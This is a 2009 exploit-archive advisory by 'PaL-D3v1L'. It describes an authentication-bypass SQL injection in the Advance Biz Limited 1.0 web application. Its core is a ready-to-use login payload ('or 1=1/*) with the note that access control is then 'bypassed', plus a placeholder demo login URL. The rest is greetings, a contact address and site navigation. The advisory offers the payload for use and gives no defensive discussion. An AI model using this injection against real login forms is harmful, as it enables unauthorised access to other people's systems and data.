Advance Biz Limited <= 1.0 ( Auth Bypass ) SQL injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Advance Biz Limited <= 1.0 ( Auth Bypass ) SQL injection Vulnerability
# Published : 2009-12-20
# Author : PaL-D3v1L
# Previous Title : Explorer V7.20 Cross Site Scripting Vulnerability
# Next Title : Simplicity oF Upload (1.3.2) Remote File Upload Vulnerability

================================================== ============================

By : PaL-D3v1L

================================================== ============================

[?] Advance Biz Limited <= 1.0 ( Auth Bypass ) SQL injection Vulnerability

================================================== ============================

[?] Founder: [ PaL-D3v1L ]
[?] Gr44tz to: [ ReD-D3v1L ? Evil-Cod3r ? Sas-TerrOisT ? Shadow-DeviL ? Cyber-Err0r ? cold-z3ro ]
[?] Dork: [ n/a ]
[?]E-mail :security.code@hotmail.com
################################################## #########################

==[ SQL injection ]==

Write This Code : 'or 1=1/* <======= Now Control Bypassed


==[ Live Demo ]==

http://server/advance-biz/demo/login.php


################################################## #########################